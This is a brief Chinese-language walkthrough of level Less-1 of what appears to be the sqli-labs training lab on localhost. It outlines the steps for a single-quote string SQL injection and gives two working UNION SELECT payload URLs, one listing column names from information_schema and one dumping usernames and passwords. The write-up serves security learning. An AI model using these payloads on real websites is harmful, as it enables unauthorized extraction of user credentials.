less-1
①判断是否存在注入与求闭合字符
结论:存在单引号字符型SQL注入
②判断列数
结论:有3列
③判断显示位
④爆字段
http://127.0.0.1/sqli/Less-1/?id=-1’ union select 1,version(),GROUP_CONCAT(column_name) from information_schema.columns where table_name =‘users’ and table_schema=‘security’ – +
⑤求出username和password下的字段内容
http://127.0.0.1/sqli/Less-1/?id=-1’ union select 1,username,password from users limit 3,4;–+